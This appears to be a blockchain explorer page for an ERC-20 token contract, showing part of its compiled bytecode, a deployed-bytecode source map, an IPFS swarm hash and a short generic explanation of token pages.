82011682018060405250810190610f269190611346565b81600181518110610f3957610f39611361565b6001600160a01b039283166020918202929092010152600f54610f5f913091168461080d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f979085905f908690309042906004016113ea565b5f604051808303815f87803b158015610fae575f80fd5b505af1158015610fc0573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561100c573d5f803e3d5ffd5b5050565b5f8061101c838561145b565b905083811015610e095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161032c565b5f610e0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d53565b5f81836110cf5760405162461bcd60e51b815260040161032c91906110db565b505f610d8284866113cb565b5f602080835283518060208501525f5b81811015611107578581018301518582016040015282016110eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461113b575f80fd5b50565b5f806040838503121561114f575f80fd5b823561115a81611127565b946020939093013593505050565b5f805f6060848603121561117a575f80fd5b833561118581611127565b9250602084013561119581611127565b929592945050506040919091013590565b5f602082840312156111b6575f80fd5b8135610e0981611127565b5f80604083850312156111d2575f80fd5b82356111dd81611127565b915060208301356111ed81611127565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124657815f190482111561122c5761122c6111f8565b8085161561123957918102915b93841c9390800290611211565b509250929050565b5f8261125c575060016102dd565b8161126857505f6102dd565b816001811461127e5760028114611288576112a4565b60019150506102dd565b60ff841115611299576112996111f8565b50506001821b6102dd565b5060208310610133831016604e8410600b84101617156112c7575081810a6102dd565b6112d1838361120c565b805f19048211156112e4576112e46111f8565b029392505050565b5f610e0960ff84168361124e565b80820281158282048414176102dd576102dd6111f8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611356575f80fd5b8151610e0981611127565b634e487b7160e01b5f52603260045260245ffd5b5f805f60608486031215611387575f80fd5b8351925060208401519150604084015190509250925092565b5f600182016113b1576113b16111f8565b5060010190565b818103818111156102dd576102dd6111f8565b5f826113e557634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561143a5784516001600160a01b031683529383019391830191600101611415565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102dd576102dd6111f856fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079ceb12259cfbcb3c23e111f9b7b9b72b40357b0a47b64cdd6f66086c1af85e464736f6c63430008160033

Deployed Bytecode Sourcemap

3777:6729:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6140:83;;;;;;;;;;-1:-1:-1;6210:5:0;;;;;;;;;;;;-1:-1:-1;;;6210:5:0;;;;6140:83;;;;;;;:::i;:::-;;;;;;;;6973:161;;;;;;;;;;-1:-1:-1;6973:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6973:161:0;1023:187:1;6417:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6417:95:0;1215:177:1;5818:314:0;;;;;;;;;;;;;:::i;:::-;;7142:447;;;;;;;;;;-1:-1:-1;7142:447:0;;;;;:::i;:::-;;:::i;6326:83::-;;;;;;;;;;-1:-1:-1;6326:83:0;;4213:1;2000:36:1;;1988:2;1973:18;6326:83:0;1858:184:1;6520:119:0;;;;;;;;;;-1:-1:-1;6520:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6613:18:0;6586:7;6613:18;;;:9;:18;;;;;;;6520:119;2943:148;;;;;;;;;;;;;:::i;2729:79::-;;;;;;;;;;-1:-1:-1;2767:7:0;2794:6;2729:79;;-1:-1:-1;;;;;2794:6:0;;;2445:51:1;;2433:2;2418:18;2729:79:0;2299:203:1;6231:87:0;;;;;;;;;;-1:-1:-1;6303:7:0;;;;;;;;;;;;-1:-1:-1;;;6303:7:0;;;;6231:87;;6647:167;;;;;;;;;;-1:-1:-1;6647:167:0;;;;;:::i;:::-;;:::i;5462:311::-;;;;;;;;;;;;;:::i;6822:143::-;;;;;;;;;;-1:-1:-1;6822:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6930:18:0;;;6903:7;6930:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6822:143;6973:161;7048:4;7065:39;487:10;7088:7;7097:6;7065:8;:39::i;:::-;-1:-1:-1;7122:4:0;6973:161;;;;;:::o;6417:95::-;6470:7;4269:13;4213:1;4269:2;:13;:::i;:::-;4256:26;;:10;:26;:::i;:::-;6490:14;;6417:95;:::o;5818:314::-;2856:6;;-1:-1:-1;;;;;2856:6:0;487:10;2856:22;2848:67;;;;-1:-1:-1;;;2848:67:0;;;;;;;:::i;:::-;;;;;;;;;5872:13:::1;:73:::0;;-1:-1:-1;;;;;;5872:73:0::1;5902:42;5872:73:::0;;::::1;::::0;;;5956:56:::1;::::0;5973:4:::1;::::0;4269:13:::1;4213:1;4269:2;:13;:::i;:::-;4256:26;::::0;:10:::1;:26;:::i;:::-;5956:8;:56::i;:::-;6052:13;;;;;;;;;-1:-1:-1::0;;;;;6052:13:0::1;-1:-1:-1::0;;;;;6052:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6037:50:0::1;;6096:4;6103:13;;;;;;;;;-1:-1:-1::0;;;;;6103:13:0::1;-1:-1:-1::0;;;;;6103:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6037:87;::::0;-1:-1:-1;;;;;;6037:87:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;6037:87:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;6037:87:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6023:11;:101:::0;;-1:-1:-1;;;;;;6023:101:0::1;-1:-1:-1::0;;;;;6023:101:0;;;::::1;::::0;;;::::1;::::0;;5818:314::o;7142:447::-;7240:4;7257:36;7267:6;7275:9;7286:6;7257:9;:36::i;:::-;7326:25;;;;;;;;;7327:9;-1:-1:-1;7327:12:0;;;;;;;;;-1:-1:-1;;;;;7327:12:0;;;7326:25;;;;;;;;;;;7304:56;;7318:6;;7326:25;;;;;7353:6;7304:13;:56::i;:::-;7393:25;;;;;;;;;-1:-1:-1;;;;;7393:25:0;;;;;7412:1;-1:-1:-1;7402:12:0;:9;7393:25;7402:12;;;;;;;;7393:25;;;;;;;7371:56;;7385:6;;7393:25;;7371:56;7438:121;7447:6;487:10;7469:89;7507:6;7469:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7469:19:0;;;;;;:11;:19;;;;;;;;487:10;7469:33;;;;;;;;;;:37;:89::i;7438:121::-;-1:-1:-1;7577:4:0;7142:447;;;;;:::o;2943:148::-;2856:6;;-1:-1:-1;;;;;2856:6:0;487:10;2856:22;2848:67;;;;-1:-1:-1;;;2848:67:0;;;;;;;:::i;:::-;3050:1:::1;3034:6:::0;;3013:40:::1;::::0;-1:-1:-1;;;;;3034:6:0;;::::1;::::0;3013:40:::1;::::0;3050:1;;3013:40:::1;3081:1;3064:19:::0;;-1:-1:-1;;;;;;3064:19:0::1;::::0;;2943:148::o;6647:167::-;6725:4;6742:42;487:10;6766:9;6777:6;6742:9;:42::i;5462:311::-;2856:6;;-1:-1:-1;;;;;2856:6:0;487:10;2856:22;2848:67;;;;-1:-1:-1;;;2848:67:0;;;;;;;:::i;:::-;5526:13:::1;::::0;-1:-1:-1;;;5526:13:0;::::1;;;5525:14;5517:49;;;::::0;-1:-1:-1;;;5517:49:0;;5842:2:1;5517:49:0::1;::::0;::::1;5824:21:1::0;5881:2;5861:18;;;5854:30;5920:25;5900:18;;;5893:53;5963:18;;5517:49:0::1;5640:347:1::0;5517:49:0::1;5577:13;::::0;-1:-1:-1;;;;;5577:13:0::1;:29;5614:21;5645:4;5651:24;5645:4:::0;-1:-1:-1;;;;;6613:18:0;6586:7;6613:18;;;:9;:18;;;;;;;6520:119;5651:24:::1;5676:1;5678::::0;5680:7:::1;2767::::0;2794:6;-1:-1:-1;;;;;2794:6:0;;2729:79;5680:7:::1;5577:127;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5577:127:0;;;-1:-1:-1;;;;;6351:15:1;;;5577:127:0::1;::::0;::::1;6333:34:1::0;6383:18;;;6376:34;;;;6426:18;;;6419:34;;;;6469:18;;;6462:34;6533:15;;;6512:19;;;6505:44;5688:15:0::1;6565:19:1::0;;;6558:35;6267:19;;5577:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5715:12:0::1;:19:::0;;-1:-1:-1;;;;5745:20:0;-1:-1:-1;;;5745:20:0;;;-1:-1:-1;5462:311:0:o;7735:335::-;-1:-1:-1;;;;;7828:19:0;;7820:68;;;;-1:-1:-1;;;7820:68:0;;7117:2:1;7820:68:0;;;7099:21:1;7156:2;7136:18;;;7129:30;7195:34;7175:18;;;7168:62;-1:-1:-1;;;7246:18:1;;;7239:34;7290:19;;7820:68:0;6915:400:1;7820:68:0;-1:-1:-1;;;;;7907:21:0;;7899:68;;;;-1:-1:-1;;;7899:68:0;;7522:2:1;7899:68:0;;;7504:21:1;7561:2;7541:18;;;7534:30;7600:34;7580:18;;;7573:62;-1:-1:-1;;;7651:18:1;;;7644:32;7693:19;;7899:68:0;7320:398:1;7899:68:0;-1:-1:-1;;;;;7978:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8030:32;;1361:25:1;;;8030:32:0;;1334:18:1;8030:32:0;;;;;;;7735:335;;;:::o;8294:1724::-;-1:-1:-1;;;;;8382:18:0;;8374:68;;;;-1:-1:-1;;;8374:68:0;;7925:2:1;8374:68:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:35;8099:19;;8374:68:0;7723:401:1;8374:68:0;-1:-1:-1;;;;;8461:16:0;;8453:64;;;;-1:-1:-1;;;8453:64:0;;8331:2:1;8453:64:0;;;8313:21:1;8370:2;8350:18;;;8343:30;8409:34;8389:18;;;8382:62;-1:-1:-1;;;8460:18:1;;;8453:33;8503:19;;8453:64:0;8129:399:1;8453:64:0;8545:1;8536:6;:10;8528:64;;;;-1:-1:-1;;;8528:64:0;;8735:2:1;8528:64:0;;;8717:21:1;8774:2;8754:18;;;8747:30;8813:34;8793:18;;;8786:62;-1:-1:-1;;;8864:18:1;;;8857:39;8913:19;;8528:64:0;8533:405:1;8528:64:0;8605:17;2794:6;;-1:-1:-1;;;;;8639:15:0;;;2794:6;;8639:15;;;;:32;;-1:-1:-1;2767:7:0;2794:6;-1:-1:-1;;;;;8658:13:0;;;2794:6;;8658:13;;8639:32;8635:1016;;;8700:76;8772:3;8700:67;8722:15;;8712:9;;:25;8711:55;;8752:14;;8711:55;;;8739:12;;8711:55;8700:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8805:11;;8688:88;;-1:-1:-1;;;;;;8797:19:0;;;8805:11;;8797:19;:51;;;;-1:-1:-1;8834:13:0;;-1:-1:-1;;;;;8820:28:0;;;8834:13;;8820:28;;8797:51;:77;;;;-1:-1:-1;;;;;;8854:20:0;;;;;;:16;:20;;;;;;;;8852:22;8797:77;8793:129;;;8895:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8793:129;8947:11;;-1:-1:-1;;;;;8941:17:0;;;8947:11;;8941:17;:41;;;;-1:-1:-1;;;;;;8962:20:0;;8977:4;8962:20;;8941:41;8938:172;;;9015:79;9090:3;9015:70;9037:16;;9027:9;;:26;9026:58;;9069:15;;9026:58;;;9055:13;;9015:6;;:10;:70::i;:79::-;9003:91;;8938:172;9175:4;9126:28;6613:18;;;:9;:18;;;;;;9201:10;;-1:-1:-1;;;9201:10:0;;;;9200:11;:32;;;;-1:-1:-1;9221:11:0;;-1:-1:-1;;;;;9215:17:0;;;9221:11;;9215:17;9200:32;:48;;;;-1:-1:-1;9236:12:0;;-1:-1:-1;;;9236:12:0;;;;9200:48;:82;;;;;9264:18;;9252:9;;:30;9200:82;9196:444;;;9329:12;;9306:20;:35;9303:127;;;9360:70;9377:52;9381:6;9389:39;9393:20;9415:12;;9389:3;:39::i;:::-;9377:3;:52::i;:::-;9360:16;:70::i;:::-;9478:21;9570:35;9583:21;9570:12;:35::i;:::-;9284:356;9196:444;8673:978;8635:1016;9666:13;;9663:166;;9738:4;9720:24;;;;:9;:24;;;;;;:39;;9749:9;9720:28;:39::i;:::-;9711:4;9693:24;;;;:9;:24;;;;;;;:66;;;;9777:40;;-1:-1:-1;;;;;9777:40:0;;;;;;;9807:9;1361:25:1;;1349:2;1334:18;;1215:177;9777:40:0;;;;;;;;9663:166;-1:-1:-1;;;;;9859:15:0;;;;;;:9;:15;;;;;;:27;;9879:6;9859:19;:27::i;:::-;-1:-1:-1;;;;;9841:15:0;;;;;;:9;:15;;;;;:45;9913:40;9931:21;:6;9942:9;9931:10;:21::i;:::-;-1:-1:-1;;;;;9913:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9897:13:0;;;;;;;:9;:13;;;;;:56;;;;9969:41;;;9988:21;:6;9999:9;9988:10;:21::i;:::-;9969:41;;1361:25:1;;;1349:2;1334:18;9969:41:0;;;;;;;8363:1655;8294:1724;;;:::o;7597:130::-;7687:32;7696:5;7703:7;7712:6;7687:8;:32::i;:::-;7597:130;;;:::o;867:190::-;953:7;989:12;981:6;;;;973:29;;;;-1:-1:-1;;;973:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1013:9:0;1025:5;1029:1;1025;:5;:::i;:::-;1013:17;867:190;-1:-1:-1;;;;;867:190:0:o;1065:246::-;1123:7;1147:1;1152;1147:6;1143:47;;-1:-1:-1;1177:1:0;1170:8;;1143:47;1200:9;1212:5;1216:1;1212;:5;:::i;:::-;1200:17;-1:-1:-1;1245:1:0;1236:5;1240:1;1200:17;1236:5;:::i;:::-;:10;1228:56;;;;-1:-1:-1;;;1228:56:0;;9640:2:1;1228:56:0;;;9622:21:1;9679:2;9659:18;;;9652:30;9718:34;9698:18;;;9691:62;-1:-1:-1;;;9769:18:1;;;9762:31;9810:19;;1228:56:0;9438:397:1;1228:56:0;1302:1;1065:246;-1:-1:-1;;;1065:246:0:o;1319:132::-;1377:7;1404:39;1408:1;1411;1404:39;;;;;;;;;;;;;;;;;:3;:39::i;8078:99::-;8135:7;8163:1;8161;:3;8160:9;;8168:1;8160:9;;;-1:-1:-1;8166:1:0;8078:99;-1:-1:-1;8078:99:0:o;10026:477::-;5001:10;:17;;-1:-1:-1;;;;5001:17:0;-1:-1:-1;;;5001:17:0;;;10128:16:::1;::::0;;10142:1:::1;10128:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10128:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10128:16:0::1;10104:40;;10173:4;10155;10160:1;10155:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10155:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10199:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;10199:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;10155:7;;10199:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10189:4;10194:1;10189:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10189:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10262:13:::1;::::0;10230:60:::1;::::0;10247:4:::1;::::0;10262:13:::1;10278:11:::0;10230:8:::1;:60::i;:::-;10301:13;::::0;:194:::1;::::0;-1:-1:-1;;;10301:194:0;;-1:-1:-1;;;;;10301:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;10380:11;;10301:13:::1;::::0;10422:4;;10449::::1;::::0;10469:15:::1;::::0;10301:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5041:10:0;:18;;-1:-1:-1;;;;5041:18:0;;;-1:-1:-1;;;;10026:477:0:o;8185:101::-;8250:10;;8242:36;;-1:-1:-1;;;;;8250:10:0;;;;8242:36;;;;;8271:6;;8250:10;8242:36;8250:10;8242:36;8271:6;8250:10;8242:36;;;;;;;;;;;;;;;;;;;;;8185:101;:::o;536:179::-;594:7;;626:5;630:1;626;:5;:::i;:::-;614:17;;655:1;650;:6;;642:46;;;;-1:-1:-1;;;642:46:0;;11289:2:1;642:46:0;;;11271:21:1;11328:2;11308:18;;;11301:30;11367:29;11347:18;;;11340:57;11414:18;;642:46:0;11087:351:1;723:136:0;781:7;808:43;812:1;815;808:43;;;;;;;;;;;;;;;;;:3;:43::i;1459:189::-;1545:7;1580:12;1573:5;1565:28;;;;-1:-1:-1;;;1565:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1604:9:0;1616:5;1620:1;1616;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;4943:251::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;5114:9;5108:16;5133:31;5158:5;5133:31;:::i;5508:127::-;5569:10;5564:3;5560:20;5557:1;5550:31;5600:4;5597:1;5590:15;5624:4;5621:1;5614:15;6604:306;6692:6;6700;6708;6761:2;6749:9;6740:7;6736:23;6732:32;6729:52;;;6777:1;6774;6767:12;6729:52;6806:9;6800:16;6790:26;;6856:2;6845:9;6841:18;6835:25;6825:35;;6900:2;6889:9;6885:18;6879:25;6869:35;;6604:306;;;;;:::o;8943:135::-;8982:3;9003:17;;;9000:43;;9023:18;;:::i;:::-;-1:-1:-1;9070:1:1;9059:13;;8943:135::o;9083:128::-;9150:9;;;9171:11;;;9168:37;;;9185:18;;:::i;9216:217::-;9256:1;9282;9272:132;;9326:10;9321:3;9317:20;9314:1;9307:31;9361:4;9358:1;9351:15;9389:4;9386:1;9379:15;9272:132;-1:-1:-1;9418:9:1;;9216:217::o;9972:980::-;10234:4;10282:3;10271:9;10267:19;10313:6;10302:9;10295:25;10339:2;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10444:6;10479;10473:13;10510:6;10502;10495:22;10548:3;10537:9;10533:19;10526:26;;10587:2;10579:6;10575:15;10561:29;;10608:1;10618:195;10632:6;10629:1;10626:13;10618:195;;;10697:13;;-1:-1:-1;;;;;10693:39:1;10681:52;;10788:15;;;;10753:12;;;;10729:1;10647:9;10618:195;;;-1:-1:-1;;;;;;;10869:32:1;;;;10864:2;10849:18;;10842:60;-1:-1:-1;;;10933:3:1;10918:19;10911:35;10830:3;9972:980;-1:-1:-1;;;9972:980:1:o;10957:125::-;11022:9;;;11043:10;;;11040:36;;;11056:18;;:::i

Swarm Source

ipfs://79ceb12259cfbcb3c23e111f9b7b9b72b40357b0a47b64cdd6f66086c1af85e4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.